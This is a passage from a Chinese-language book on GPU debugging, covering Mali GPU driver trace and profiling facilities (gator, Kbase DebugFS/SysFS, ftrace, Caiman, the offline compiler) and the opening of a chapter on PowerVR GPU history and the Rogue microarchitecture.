当用户态的服务模块启动时,会挂接 gatorfs到/dev/gator目录。如果
挂接失败,则会报告下面的错误。
Unable to mount the gator filesystem needed for profiling.
上面的错误是使用DS-5工具时经常遇到的一个错误,它通常意味着
没能加载gator.ko驱动,可能需要重新编译内核,然后再为新的内核编
译与它匹配的驱动。
如果gatorfs挂接成功,那么/dev/gator目录下会有一系列子目录和文
件。用户态的后台服务就通过这些文件与内核态的gator.ko通信,包括
执行各种控制动作,以及通过buffer虚文件读取驱动收集到的事件信
息。
事件收集默认是禁止的,像下面这样对enable文件写1用来启用事件
收集,写0用来停止事件收集。
echo 1>/dev/gator/enable
12.5.3 Gator后台服务(gatord)
下面介绍gatord,根据Linux下后台服务程序常用的命名约定,名字
中的d代表这是一个后台服务程序。
简单来说,gatord的角色是与gator.ko通信并获取追踪事件信息,对
其做一些基本处理后,再发送给主机端的工具,比如DS-5的优化工具
Streamline等。图12-9是几个角色的协作示意图。
图12-9 通过gator采集追踪事件
在gatord的源文件目录中,包含了很多追踪事件的名字,比如在
MaliHwCntrNames.h文件中,根据Mali GPU的型号,分别定义了GPU内
不同功能单元的硬件计数器名字,比如以下计数器。
"T83x_COMPUTE_ACTIVE",
"T83x_COMPUTE_TASKS",
"T83x_COMPUTE_THREADS",
"T83x_COMPUTE_CYCLES_DESC",
"T83x_TRIPIPE_ACTIVE",
"T83x_ARITH_WORDS",
在按GPU名字命名的xml文件中,有每个计数器的简要说明,比如
在events-Mali-T83x_hw.xml文件中可以查到T83x_COMPUTE_ACTIVE
计数器的描述。
<event counter="ARM_Mali-T83x_COMPUTE_ACTIVE" title="Mali Core Cycles" nam
e="Compute cycles" description="Number of cycles vertex\compute processing
was active"/>
看来这个计数器的数值代表的是时钟周期个数,代表采样时间内顶
点或者计算处理单元的活跃时间。可以用它来计算硬件单元的利用率
(utilization)。
12.5.4 Kbase驱动中的gator支持
Kbase是ARM为Mali GPU开发的Linux内核模块,名字中的K是内核
之意。目前Kbase的源文件还没有进入Linux内核源代码的主线,但可以
从ARM网站下载源代码。在Kbase驱动中,也有一系列名叫
mali_kbase_gator_xxx的文件,它们是帮助gator.ko访问GPU硬件的。
二者的接口是所谓的gator API。Kbase驱动实现了这个API,供
gator.ko调用,比如,在gator.ko中会像下面这样获取函数指针。
mali_set_hw_event = symbol_get(_mali_profiling_set_event);
然后通过函数指针调用Kbase中的实现。
12.5.5 含义
在英文中,Gator一词有多种含义,可能是鳄鱼类的动物,也可能
是农用或者军用的小货车。作者在ARM的公开文档中没有找到Gator的
命名解释。但在ARM的软件工具链中,发现一个与Gator性质类似的数
据采集工具,名叫Caiman(12.6节将详细介绍)。比如在DS-5的程序目
录下,与包含gatord的arm和arm64目录并列的win-64子目录下有个
caiman.exe文件。Caiman也表示鳄鱼类的动物。如此看来,Gator的意思
多半就是鳄鱼了。或许当初给Gator程序命名的人很喜欢鳄鱼,也可能
是希望Gator程序有鳄鱼般的大嘴,能够以极快的速度咬住并吞下要收
集的各类事件。
12.6 Kbase驱动的调试设施
Kbase驱动是Mali GPU软件栈中的一个关键角色,本节简要介绍
Kbase驱动中的调试支持,既包括调试驱动本身的设施,也包括它提供
的用于调试和优化整个Mali GPU软件栈的设施。
12.6.1 GPU版本报告
Kbase驱动初始化时,会通过Linux内核的消息打印机制打印一些基
本信息或者错误信息,比如,在Tinker单板系统中,可以看到下面这样
的GPU版本信息。
[5.844563] mali ffa30000.gpu: GPU identified as 0x0750 r0p0 status 1
上面信息中的0x0750代表的是GPU的产品ID,在
mali_kbase_gpu_id.h中可以找到其定义。
#define GPU_ID_PI_T76X 0x0750u
这意味着,系统中的GPU属于Mali Migard架构的T76X系列,与
Tinker单板产品的配置信息Mali-T764 GPU刚好一致。
0x0750后面的r0p0是GPU的主版本号(Major)和子版本号
(Minor),它标识的是针对该款GPU设计所做的改进版本,因此版本
数字通常都比较小,r0p0、r0p2或者r1p0这样的版本号是常见的。
12.6.2 编译选项
Kbase驱动的编译选项中包含了一系列调试和优化有关的设置,比
如CONFIG_MALI_GATOR_SUPPORT用于启用上一节提到的Gator支
持,CONFIG_MALI_DEBUG选项用于启用更多的错误检查。可以使用
zcat /proc/config.gz | grep -i mali这样的命令来检查当前系统所使用驱动
的设置,比如清单12-1是作者观察手头的Tinker单板系统(感谢海增和
人人智能提供的实验硬件)的结果,右侧中文为注释。
清单12-1 观察Mali GPU驱动的编译选项
tinker@ELAR-Systems:~$ zcat /proc/config.gz | grep -i mali
CONFIG_MALI_MIDGARD=y // 选择Midgard架构
# CONFIG_MALI_GATOR_SUPPORT is not set // Gator事件追踪机制
# CONFIG_MALI_MIDGARD_ENABLE_TRACE is not set // Kbase自身的追踪机制
CONFIG_MALI_DEVFREQ=y // 启用传统的DVFS(动态电压和频率变换)支持
# CONFIG_MALI_DMA_FENCE is not set // 命令缓冲区的同步栅栏支持
CONFIG_MALI_EXPERT=y // 专业模式
# CONFIG_MALI_PRFCNT_SET_SECONDARY is not set // 启用第二个集合中的性能计数
器
# CONFIG_MALI_PLATFORM_FAKE is not set // 使用驱动内创建的虚假设备,在开发
早期使用
# CONFIG_MALI_PLATFORM_DEVICETREE is not set // 使用从设备树获取的硬件信息
CONFIG_MALI_PLATFORM_THIRDPARTY=y // 判断是否为第三方平台
CONFIG_MALI_PLATFORM_THIRDPARTY_NAME="rk" // 第三方名,rk是瑞芯微RK系列
# CONFIG_MALI_DEBUG is not set // 增加更多错误检查
# CONFIG_MALI_NO_MALI is not set // 用于没有硬件GPU的情况下,供模拟环境测试使
用
# CONFIG_MALI_TRACE_TIMELINE is not set // 基于Linux内核追踪点技术的时序追
踪设施
# CONFIG_MALI_SYSTEM_TRACE is not set // 使用Linux系统的追踪机制
# CONFIG_MALI_GPU_MMU_AARCH64 is not set // 使用64位页表格式
# CONFIG_MALI400 is not set // 选择支持Mali 400 GPU
考虑到ARM系统的嵌入式特征,通常把Kbase驱动与内核构建在一
个镜像文件(zImage)中。这意味着,如果要改变上述选项,那么需要
下载用于构建内核镜像的所有源代码,然后重现构建。但这也并不像想
象的那么困难,作者用午饭的时间就在Tinker单板系统上为它构建了新
的内核,包括解压下载好的源代码包,安装gcc和其他依赖工具
(libncurses4-dev、bc、libssl-dev),修改配置选项(make ARCH=arm
miniarm-rk3288_defconfig,然后编辑.config),构建和产生
zImage(make zImage ARCH=arm),最后替换/boot下的旧文件。
12.6.3 DebugFS下的虚拟文件
调试文件系统(DebugFS)是Linux内核里专门用于调试的虚拟文件
系统,供内核空间的代码可以通过文件形式输出信息或者接受控制。
Kbase驱动初始化时,会在DebugFS下创建一系列文件和子目录,例
如,在前面多次提到的Tinker单板系统上,可以看到如下信息。
root@ELAR-Systems:/sys/kernel/debug/mali0# ls
ctx gpu_memory job_fault quirks_mmu quirks_sc quirks_tiler
其中,ctx是子目录,其他名称都表示文件。在ctx子目录下的
defaults目录中,包含如下两个文件。
root@ELAR-Systems:/sys/kernel/debug/mali0/ctx/defaults# cat infinite_cache
N
root@ELAR-Systems:/sys/kernel/debug/mali0/ctx/defaults# cat mem_pool_max_s
ize
16384
第一个文件用于启用无限缓存(Infinite Cache)功能,当前值N代
表没有启用,使用命令echo Y > infinite_cache可以启用该功能。第二个
文件是显存池的最大页数,也是可以配置的。
12.6.4 SysFS下的虚拟文件
SysFS是Linux系统中的另一种虚拟文件系统,默认挂接在/sys目
录,每一类内核对象在该目录下都会有一个子目录,比如module、fs、
devices等。在devices/platform目录下会有一个类似下面这样的子目录。
/sys/devices/platform/ffa30000.gpu
其中有很多个文件和子目录,比如下面是在Tinker单板系统上观察
到的结果。
core_availability_policy js_scheduling_period power
core_mask js_softstop_always power_policy
debug_command js_timeouts reset_timeout
devfreq mem_pool_max_size soft_job_timeout
driver mem_pool_size subsystem
driver_override misc uevent
dvfs_period modalias utilisation
gpuinfo of_node utilisation_period
ipa pm_poweroff
其中的每个虚拟文件是Kbase驱动程序使用DEVICE_ATTR宏定义
的一个设备属性,比如其中的gpuinfo就是通过如下代码定义的。
static DEVICE_ATTR(gpuinfo, S_IRUGO, kbase_show_gpuinfo, NULL);
其中,debug_command文件可以接受调试命令,与驱动交互,但是
在目前的公开版本中,仅支持dumptrace一条命令。
12.6.5 基于ftrace的追踪设施
函数追踪(function trace,ftrace)是Linux内核实现的一套事件追踪
设施。如果打开编译选项CONFIG_MALI_SYSTEM_TRACE,那么
Kbase驱动便会创建一套基于ftrace的追踪设施,包括一个追踪器和一系
列事件。
比如,在/sys/kernel/debug/tracing/events/mali子目录下会看到如下文
件。
enable filter mali_job_slots_event mali_mmu_as_in_use mali_mmu_as_released
mali_page_fault_insert_pages mali_pm_power_off mali_pm_power_on
使用trace_cmd record(-e指定事件)类似下面这样的命令可以开启
和记录上面的函数追踪事件。
trace_cmd record -e mali记录后,然后可以使用trace_cmd report来观
察事件的统计报告。
12.6.6 Kbase的追踪设施
值得特别介绍的是,Kbase驱动自己还实现了一套信息追踪设施,
其实现与prink类似,也是先分配一块内存区,然后循环使用。
为了避免与上面介绍的基于ftrace的追踪设施混淆,Kbase自己实现
的追踪设施称为Kbase追踪,事件定义在mali_linux_kbase_trace.h中。基
于ftrace的实践定义在mali_linux_trace.h中。
当使用了CONFIG_MALI_DEBUG选项编译后,DebugFS的mali0子
目录下会增加一个名叫mali_trace的文件,它就是用于观察环形缓冲区
内追踪信息的。
不过,必须要同时启用
CONFIG_MALI_MIDGARD_ENABLE_TRACE选项,才能观察到追踪
信息,不然缓冲区是空的,观察mali_trace什么也看不到。在代码内
部,启用这个编译选项后,才会定义KBASE_TRACE_ENABLE宏,其
定义如下。
#ifdef CONFIG_MALI_MIDGARD_ENABLE_TRACE
#define KBASE_TRACE_ENABLE 1
#endif
在Kbase的一些重要函数中可以看到类似下面这样产生事件的代
码。
KBASE_TRACE_ADD(kbdev, CORE_CTX_DESTROY, kctx, NULL, 0u, 0u);
如果定义了KBASE_TRACE_ENABLE,那么会把
KBASE_TRACE_ADD宏定义为kbasep_trace_add函数,后者会把信息写
到环形缓冲区。
例如,下面是电源管理模块中复位函数kbase_pm_do_reset的部分代
码。
static int kbase_pm_do_reset(struct kbase_device *kbdev)
{
KBASE_TRACE_ADD(kbdev, CORE_GPU_SOFT_RESET, NULL, NULL, 0u, 0);
kbase_reg_write(kbdev, GPU_CONTROL_REG(GPU_COMMAND),
GPU_COMMAND_SOFT_RESET, NULL);
函数内的KBASE_TRACE_ADD便用于产生Kbase追踪事件。后面
一句通过写硬件的控制寄存器来对GPU进行软复位。
可以使用cat mali_trace这样的简单命令来观察环形缓冲区内的事
件。比如,清单12-2是在Tinker单板系统上启用Kbase追踪后,再观察
mali_trace的部分结果。
清单12-2 观察Kbase追踪的事件记录
root@ELAR-Systems:/sys/kernel/debug/mali0# cat mali_trace
3.316746,99,2,CORE_GPU_SOFT_RESET, (null),,00000000,,,0x00000000
3.317534,114,0,CORE_GPU_IRQ, (null),,00000000,,,0x00000100
3.317537,114,0,CORE_GPU_IRQ_CLEAR, (null),,00000000,,,0x00000100
3.317537,114,0,CORE_GPU_IRQ_DONE, (null),,00000000,,,0x00000100
3.317549,99,2,PM_CONTEXT_IDLE, (null),,00000000,,0,0x00000000
3.317552,99,2,PM_CONTEXT_ACTIVE, (null),,00000000,,1,0x00000000
3.323644,99,2,PM_CONTEXT_IDLE, (null),,00000000,,0,0x00000000
3.324365,125,1,PM_CORES_POWERED, (null),,00000000,,,0x00000000
3.324366,125,1,PM_CORES_POWERED_TILER, (null),,00000000,,,0x00000000
3.324367,125,1,PM_CORES_POWERED_L2, (null),,00000000,,,0x00000000
3.324368,125,1,PM_CORES_POWERED_TILER, (null),,00000000,,,0x00000000
3.324371,125,1,PM_CORES_AVAILABLE, (null),,00000000,,,0x00000000
3.324371,125,1,PM_CORES_AVAILABLE_TILER, (null),,00000000,,,0x00000000
3.324371,125,1,PM_CORES_POWERED_L2, (null),,00000000,,,0x00000000
3.324372,125,1,PM_CORES_POWERED, (null),,00000000,,,0x00000000
3.324372,125,1,PM_CORES_POWERED_TILER, (null),,00000000,,,0x00000000
3.324373,125,1,PM_DESIRED_REACHED, (null),,00000001,,,0x00000000
3.324373,125,1,PM_DESIRED_REACHED_TILER, (null),,00000000,,,0x00000000
3.324373,125,1,PM_WAKE_WAITERS, (null),,00000000,,,0x00000000
3.324375,125,1,PM_GPU_OFF, (null),,00000000,,,0x00000000
下面这行源代码描述了上面每一行的格式。
"Dumping trace:\nsecs,nthread,cpu,code,ctx,katom,gpu_addr,jobslot,refcount
,info_val");
也就是说,从左到右各列分别为:时间戳(启动以来的秒数,与
printk相同)、线程号、CPU编号、事件代码、上下文结构指针、与事
件关联的原子信息、GPU地址、任务的插槽号、引用计数以及附加信
息。
12.7 其他调试设施
本节将简要介绍与Mali GPU有关的其他调试设施,包括用于收集数
据的Caiman以及离线编译器等。
12.7.1 Caiman
与Gator类似,Caiman一词既可以指一种鳄鱼类的动物,也可以表
示一种军用车辆的名字。在ARM的工具链中,它也是用于采集数据
的,也是DS-5的一部分,不过它采集的数据种类主要是与电能有关的,
比如电压、电流等。
目前,Caiman支持两类硬件工具,一类是NI(National
Instruments)公司的数据采集器(DAQ),另一类是ARM电能探测器
(ARM Energy Probe),如图12-10(a)和(b)所示。
DS-5中包含了预编译好的Caiman程序。值得说明的是,Caiman程
序是和DS-5的Streamline运行在同一台机器上的,也就是运行在主机端
的,所以对于Windows版本的DS-5,安装的便是Windows版本的可执行
程序。
(a)NI公司的DAQ (b)ARM电能探测器
图12-10 与Caiman配合的DAQ和ARM电能探测器
Caiman是开源的,其源代码参见GitHub网站。下载Caiman的源代
码后,会发现其中包含一个简单的协议文档,用于支持其他硬件工具。
12.7.2 devlib
Caiman需要依赖硬件工具,而且需要通过电线与目标系统连接才能
测量电压、电流等信息。这通常只能在实验室中对某些定制过的开放系
统进行测量,对于最终产品和用户环境就很难适用了。为此,ARM还
开发了一套名叫devlib的数据收集工具,既可以使用硬件工具,也可以
用纯软件的方式来采集电能信息,包括读取芯片的频率和芯片内部的计
数器等,这套工具名叫devlib。
在devlib中,有多个子项目,有的是Python脚本,有的是C/C++语言
的程序,其中之一叫readenergy,它是个命令行工具,基本用法如下。
readenergy [-t PERIOD] [-o OUTFILE]
这个小工具按指定的时间间隔读取Juno开发板上电能计数器
(Energy Counter)的信息,然后以CSV格式写到指定的输出文件中,
如果没有指定文件,就直接输出到终端。可以读取的信息包括GPU的电
流(gpu_current)和电压(gpu_voltage),以及系统其他关键部件的电
能信息。
12.7.3 Mali离线编译器
从ARM网站可以下载到为Mali GPU开发的离线编译器,使用这个
编译器可以在x86硬件平台上交叉编译运行在Mali GPU上的各类程序,
包括OpenGL ES(Embedded System)标准的各类着色器程序、OpenCL
程序和Vulkan标准的各类着色器程序。
下面以Windows版本的Mali离线编译器为例对其做简单介绍。
在安装目录中,可以找到Mali离线编译器的主程序,名叫
malisc.exe,它是个命令行工具,基本用法如下。
malisc [选项] <要编译的源文件>
例如,可以这样编译OpenGL ES的计算着色器。
malisc samples\openglessl\shader.comp
如果没有特别指定文件类型,编译器会根据文件后缀进行判断,其
约定如表12-1所示。
表12-1 关于Mali离线编译器文件后缀的约定
后 缀
代表的文件
说 明
.vert
OpenGL ES Vertex Shader
顶点着色器
.frag
OpenGL ES Fragment Shader
片段着色器
.comp
OpenGL ES Compute Shader
计算着色器
.geom
OpenGL ES Geometry Shader
几何着色器
.tesc
OpenGL ES Tessellation Control Shader
曲面细分控制着色器
.tese
OpenGL ES Tessellation Evaluation Shader
曲面评估着色器
.cl
OpenCL Kernel
OpenCL的算核程序
可以通过-o选项指定输出文件,比如malisc -o comp.bin
samples\openglessl\shader.comp。
在编译时,malisc会输出编译器的使用情况,比如以下信息。
64 work registers used, 10 uniform registers used, spilling not used.
也会输出需要发射给不同处理单元的指令条数,并预估执行时所需
的时钟周期数,比如以下内容。
A L/S T
Instructions Emitted: 157 2 0
Shortest Path Cycles: 1.75 0 0
Longest Path Cycles: 157 2 0 -
行标题中的A代表算术单元,L/S代表加载和存储单元,T代表纹理
单元。第1行代表要在每种执行单元上执行的指令数。第2行代表估计所
需的最短时钟周期。第3行是估计的最长执行时间(时钟周期个数)。
可以通过-c参数来指定目标GPU,比如malisc -c Mali-T830
samples\openglessl\shader.comp。这会针对Midgard微架构的T830 GPU进
行编译并估算执行时间,上面的信息使用默认的G72 GPU。
12.8 缺少的调试设施
在本书介绍的四个厂商的GPU中,Mali GPU的软件工具链和调试设
施在功能上是最薄弱的。本节简要罗列目前还缺少的调试设施,希望本
书再版时情况会改变。
12.8.1 GPGPU调试器
GPGPU调试器堪称调试器软件领域的第1号工具。当GPU走上通用
计算之路后,强大的调试器成为必备工具。ARM目前虽然有DS-5和
MGD等名字中包含调试器的工具,但都缺少最基本的GPU指令级别的
反汇编和跟踪功能,还算不上真正意义上的GPU调试器。相比较而言,
其他三家厂商都有一种或者两种GPU调试器,都有基于GDB的版本。
12.8.2 GPU调试SDK
为了让开发者能定制和增加针对GPU的调试功能,Nvidia、AMD和
英特尔都发布了GPU调试SDK,并使它完全开源或者部分开源。目前
Mali GPU在这方面还是空白。
12.8.3 反汇编器
反汇编器是理解复杂软件问题的另一种常用工具,是GPU工具链中
的另一必备工具。但目前没有公开的Mali GPU反汇编器,只有功能不完
整的第三方工具。
12.8.4 ISA文档
指令集是芯片与软件世界沟通的基本语言,也是软件调试和调优的
基本资料。Nvidia虽然没有公开指令集的完整细节,但是也有数百页的
ISA文档用于帮助开发者理解硬件。但是目前Mali GPU在这方面非常保
守,讳莫如深。
12.9 本章小结
因为巨大的市场需求和与ARM CPU的联姻,Mali GPU在最近十年
来迅速发展,成为发货数量最多的GPU。因为Mali GPU的主要市场是手
机等移动设备,所以降低功耗是Mali设计者一直关注的首要目标,无论
是从硬件架构中的流水线设计,还是从软件工具中的各种电源策略和调
优设施,我们都可以感受到这一点。或许是因为把主要精力都用在降低
功耗和成本上,所以Mali GPU在通用计算方面还处在初级阶段,无论是
硬件结构,还是软件工具链,都与另外三家公司有很大的差距,不可同
日而语。
参考资料
[1] ARM intros next-gen Mali-T604 embedded GPU, Samsung first to
get it.
[2] ARM Announces 8-core 2nd Gen Mali-T600 GPUs.
[3] ARM’s Mali Midgard Architecture Explored.
[4] ARM Unveils Next Generation Bifrost GPU Architecture & Mali-
G71: The New High-End Mali.
[5] Tile-based rendering, Understanding the Mali rendering
architecture.
[6] The Midgard Shader Core Second generation Mali GPU
architecture Published March 2018 by Peter Harris.
[7] mali-isa-docs Midgard Architecture.
[8] ARM Announces Mali-G72: Bifrost Refined for the High-End
SoC.
[9] The Bifrost GPU architecture and the ARM Mali-G71 GPU.
[10] Mali Graphics Debugger.
第13章 PowerVR GPU及其调试设施
2007年,苹果公司推出了第一代iPhone手机,三年后,又推出了第
一代iPad(平板电脑)。这两款产品对信息产业,乃至整个社会都具有
非常深远的影响。这两款产品虽然外形和功能差别较大,但是内部使用
的都是PowerVR GPU。本章先介绍PowerVR GPU的背景信息和发展简
史,然后介绍它的微架构和指令集,最后介绍它的软件模型和调试设
施,包括断点支持、离线反汇编工具和调试器(PVR-GDB)。
13.1 概要
PowerVR GPU的历史很悠久,最初的目标是要角逐PC市场,后来
改变商业模式,主攻SoC GPU市场。饮水思源,在探索PowerVR GPU之
前,我们先了解一下它的简要历史。
13.1.1 发展简史
1985年,Tony Maclaren创建了一家名叫VideoLogic的公司。顾名思
义,这家公司成立初期的目标是开发各种视频技术,包括图像声音加
速、视频捕捉和视频会议等。
进入20世纪90年代后,显卡逐渐成为PC市场中热门的畅销产品。
1992年,VideoLogic开始了一个新项目[1],这个项目的核心技术是使用
名为TBDR的新方法来做3D渲染。TBDR的全称叫“基于图块的延迟渲
染”(Tile-Based Deferred Rendering)。相对于当时流行的普通渲染方
法,TBDR技术可以减少内存访问,大幅提升效率。当时,Nvidia和
3dfx还都没有成立,PC显卡领域的厂商有泰鼎、ATI和S3等。
最初,只有Martin Ashton和Simon Fenney两个人负责新显卡项目。
他们花了大约一年时间,使用FPGA搭建了一个演示系统。在1993年的
SIGGRAPH大会期间,一些合作伙伴观看了这个演示版本。
第一代的PowerVR产品只有3D加速功能,需要与普通2D显卡一起
工作来显示渲染结果。PowerVR产品的最初市场目标是游乐中心的游戏
机。从1995年起,VideoLogic与NEC合作,联合开发针对PC市场的产
品。1996年,针对PC市场的PCX1产品发布,第二年,又推出了型号为
PCX2的改进版本。这两款产品有几种销售方式,有的是以OEM方式卖
给PC厂商,有的是以自己的品牌或者合作伙伴的品牌(Matrox)直接销
售给用户。
第二代PowerVR产品曾经应用在世嘉(Sega)公司的梦想传播者游
戏机(Dreamcast console)中。这个面向家庭的游戏机产品在1998年一
推出便非常畅销。1999年,第二代PowerVR的PC版本(Neon 250)推
出,但是因为推出时间晚了一年,难以与Nvidia的Riva TNT2和3dfx的
Voodoo3竞争。
1999年,VideoLogic改变经营策略,转向与ARM类似的IP授权方
式,并把公司名改为Imagination Technologies,简称IMG。
2001年,包含第三代PowerVR(代号KYRO)的STG系列显卡推
出,由ST公司生产,针对PC市场。
同一年,针对移动设备图形市场设计的第四代PowerVR推出,简称
MBX架构。MBX的推出时间恰逢智能手机开始迅猛发展,生逢其时,
MBX大受欢迎,十大芯片厂商中有7家都购买了MBX授权,包括英特尔
(用在XScale中)、TI、三星、NEC等。从技术角度来看,MBX内部采
用的是固定功能的硬件加速流水线,分为TA、ISP和TSP三个主要模
块。TA的全称是图块加速器(Tile Accelerator),ISP的全称是图像合
成处理器(Image Synthesis Processor),TSP的全称是纹理和着色处理
器(Texture and Shading Processor)。
2005年,名为SGX的第五代PowerVR架构推出,仍然针对移动图形
市场,在内部使用了统一的弹性化着色器引擎(Universal Scalable
Shader Engine,USSE),功能更加强大和丰富,超出了OpenGL ES 2.0
的要求。
2006年时,PowerVR GPU已经在移动设备领域非常流行,包括诺基
亚、三星等多家厂商生产的三十多种手持设备都在使用PowerVR GPU。
2007年,iPhone发布,内部也使用了PowerVR GPU。
在2012年的CES上,IMG公司宣布了第6代PowerVR GPU。这一代
GPU的名字中经常包含Rogue一词。IMG公司似乎从来没有解释过这个
名字的含义,使用AnandTech网站中的话来说,IMG一向不轻易给任何
产品取名[2]。在中英字典中,Rogue的直译是“流氓”。也许有文化差
异,也许在游戏世界中,“流氓”也很酷,也许IMG公司取这个名字另有
含义。也许也有人不喜欢这个名字,所以延续第4代叫MGX、第5代叫
SGX的传统,把第6代叫RGX,其中,R仍代表Rogue。无论如何,可能
是应了中国的老话,名字俗好养。RGX推出后,顺风顺水,随着苹果手
机、iPad等时尚设备周游世界。另外,Rogue的寿命很长,使用该GPU
的芯片至今仍处于发货状态。
2016年年初,PowerVR GPU的第一大客户——苹果公司打算收购
IMG公司,但收购谈判不了了之。取而代之的是“大脑流动”(brain
drain)策略。苹果公司在IMG公司总部附近也创建了一个GPU研发中
心,2016年5月起开始招聘[3],导致IMG公司的大量骨干改变乙方角
色,直接到甲方上班。
出于种种原因,直到2017年3月,准备接替Rogue的下一代架构才推
出,名叫Furian,距离Rogue发布已经时隔五年多。但在2017年4月就传
出苹果公司停用PowerVR GPU的消息,导致IMG股票跌幅达70%。同年
11月,名为Canyon Bridge的私募基金公司收购了IMG公司,价格为5.5
亿英镑。IMG的一段历史结束了,正在开始新的征途。
13.1.2 两条产品线
上一节简要介绍了PowerVR GPU和IMG公司的历史,其中提到的
Rogue架构使用时间最久,其产品版本有很多,而且跨越几代,从
PowerVR 6系列一直到目前最高的9系列。
为了适应不同市场区间的要求,IMG公司把PowerVR GPU分成两条
产品线,一条是针对高性能需求的较高端设备,另一条是针对低功耗或
者低成本需求的低端设备。前一条叫XT产品线,后一条叫XE产品线。
从第7代开始,PowerVR GPU型号命名大多为GT或者GE加四位数
字,比如在2017年发布的第5代iPad中,使用的便是PowerVR GT7600
GPU[4]。iPhone 7使用的也是这一型号的GPU[5],但可能做了更多定制
以降低功耗。
13.1.3 基于图块延迟渲染
基于图块延迟渲染(Tile Based Deferred Rendering,TBDR)是
PowerVR GPU的一项核心技术。其核心思想是先把要渲染的图形平面分
成大小相等的正方形区域,每个区域称为一个图块(Tile)。然后根据
深度和模板信息,排除掉出于遮挡等原因而不需要渲染的图块,最后以
图块为单位渲染,只渲染必要的图块。这样做最大的好处是省去了不必
要的渲染工作,减少了很多内存访问,降低了功耗。
如上一节所讲,1992年PowerVR项目开始时,TBDR就是团队赖以
生存的特色技术。但在PC GPU领域,功耗不是那么重要,所以
PowerVR没能在PC市场发展起来。后来到了SoC GPU市场后,功耗便成
了关键问题,鱼儿终于找到了荷塘。
13.1.4 Intel GMA
2010年左右,英特尔公司大张旗鼓地冲击平板电脑市场。在软件方
面,它声势浩大地开发针对平板的Meego操作系统。在硬件方面,它紧
锣密鼓地研发低功耗的SoC。在最初几代的英特尔SoC中,CPU是自己
的x86核心,GPU便是基于PowerVR的SGX架构定制的。出于某种原
因,英特尔把基于PowerVR授权而设计的GPU也取了一个自己的名字,
叫Intel GMA xxx。在Linux内核源代码树中,gpu/drm子目录下有个名为
gma500的子目录,里面存放的便是这一系列GPU的驱动程序源文件。
在psb_drv.c中,有下面这样一段注释,概括了两种命名的对应关系。
/*
* The table below contains a mapping of the PCI vendor ID and the PCI Dev
ice ID
* to the different groups of PowerVR 5-series chip designs
*
* 0x8086 = Intel Corporation
*
* PowerVR SGX535 - Poulsbo - Intel GMA 500, Intel Atom Z5xx
* PowerVR SGX535 - Moorestown - Intel GMA 600
* PowerVR SGX535 - Oaktrail - Intel GMA 600, Intel Atom Z6xx, E6xx
* PowerVR SGX540 - Medfield - Intel Atom Z2460
* PowerVR SGX544MP2 - Medfield -
* PowerVR SGX545 - Cedartrail - Intel GMA 3600, Intel Atom D2500, N260
0
* PowerVR SGX545 - Cedartrail - Intel GMA 3650, Intel Atom D2550, D270
0,
* N2800
*/
上面列表部分的中间一列是英特SoC平台的开发代号,最后一列是
英特尔给定制后的GPU取的新名字,逗号后面是SoC的正式产品名称。
列表部分的第二行是Moorestown平台,在2010年5月的Computex大会上
首次公开,与英特尔研发的Meego操作系统一起成为当年大会的两个热
点。
老雷评点
2010年5月的中国台北,繁花似锦,Computex大会上,人流
如织。在多个会场和站台间流动的人群夹缝里,时常可以看到印
有Meego标志的手提袋。至今,老雷还保存着当年在现场工作时
穿的Meego T恤衫。
13.1.5 开放性
与其他几种SoC GPU相比,PowerVR的公开资料算是比较多的。其
中最重要的便是2014年10月与PowerVR SDK v3.4一起公开的指令集手册
[6]。2017年10月,IMG公司又公开了一份新版本的指令集手册,包含了
更详细的指令列表和描述。此外,在IMG公司的开发社区网站上也有较
多的文档。不过,这只是相对于其他SoC GPU而言的,与PC GPU相
比,不论是技术资料还是工具,二者都还不能同日而语。
13.2 Rogue微架构
Rogue是PowerVR GPU历史上时间跨度最长的一种架构,从2012年
推出,使用至今。最初版本的Rogue架构称为第6代PowerVR,后面做了
三次改进升级,分别叫第7代、第8代和第9代,有时也叫系列7、系列
8、系列9。
本节将根据有限的资料简要介绍Rogue架构的内部结构和关键特
征。因为要讨论GPU内部的硬件设计,所以在标题中使用了微架构字
样。本节引用的内容如不特别注明,都来自上一节末尾提到的公开指令
集手册。
13.2.1 总体结构
按照从总体到局部的顺序,下面先介绍Rogue GPU的内部结构。图
13-1画出了Rogue GPU内部的逻辑结构。
图13-1 Rogue GPU结构框图[7]
在图13-1中,顶部的横条和右侧外围的竖条都代表系统主内存。在
SoC GPU中,没有专用的显存,需要与CPU共享主内存。右侧伸向内存
的很多个箭头代表不同形式的内存访问。左侧是核心管理单元,注意,
这里的核心是指整个GPU,是过时的叫法,在较新的资料中把每个ALU
称为一个核心(见图13-2)。核心管理单元负责与CPU接口,接收任务
并分发执行。标有“管理器”字样的三个矩形代表三种不同数据/任务的接
收和预处理结构,上面的矩形代表顶点数据管理器,中间的矩形代表像
素数据管理器(是从第4代的ISP演化而来的),最下面的矩形代表计算
数据管理器。三种类型的数据经过预处理后,会进一步分解为若干个子
任务,然后送给粗粒度调度器(Coarse Grain Scheduler)。粗粒度调度
器再把任务分发给中间部分的某个统一着色器集群。在着色器集群中,
有细粒度任务调度器,稍后介绍它。
统一着色器集群(Universal Shading Cluster,USC)是PowerVR
GPU内的重要执行单位,用于把更小范围的计算资源组合成一个较大的
集群,与Gen GPU的片区概念类似。
USC的数量是可以根据产品的市场定位配置的,在针对中高端市场
的XT产品线里,至少包含两个USC,最多可以有16个。在XE产品线
中,最多包含1个。
当存在多个USC时,每两个会组成一个USC对,它们共享一个纹理
处理单元。多个USC对排列在一起称为USC阵列(USC Array)。图13-
1中,画出了两个USC对,中间的省略号代表可以有更多个USC对。图
中USC阵列右侧的图块加速器(Tiling Accelerator)和像素处理后端
(Pixel Back End,PBE)属于固定功能单元,用于前面介绍的基于TBDR
技术的3D渲染任务。
13.2.2 USC
接下来,我们再深入到USC内部。首先,在每个USC内部,包含多
条ALU流水线(ALU Pipeline)。比如在第6代XT配置中,有16条ALU
流水线,其结构如图13-2所示。
图13-2 ALU流水线结构框图[8]
通常,在每一条ALU流水线中,包含了多个算术逻辑单元
(ALU)。图13-2中,每一条ALU流水线包含两个全浮点(FP32)ALU
核心、4个半浮点(FP16)核心,外加一个特殊函数单元。
在每个USC中,除了用于执行指令的ALU流水线外,还有用于存储
数据的存储空间。存储空间分为两种。一种是整个USC内共享的公共存
储空间(Common Store),简称USCCS。另一种是每个流水线内执行
单元共享的统一存储空间(United Store),简称US,如图13-3所示。
图13-3 包含存储单元和调度器的USC框图[6]
图13-3左下角的矩形代表细粒度调度器,它负责把要执行的线程以
线程组为单位分发到硬件流水线。调度器上方的矩形代表驻留在USC中
的待执行任务。另外,图13-3中示意性地画了4条ALU流水线,每条流
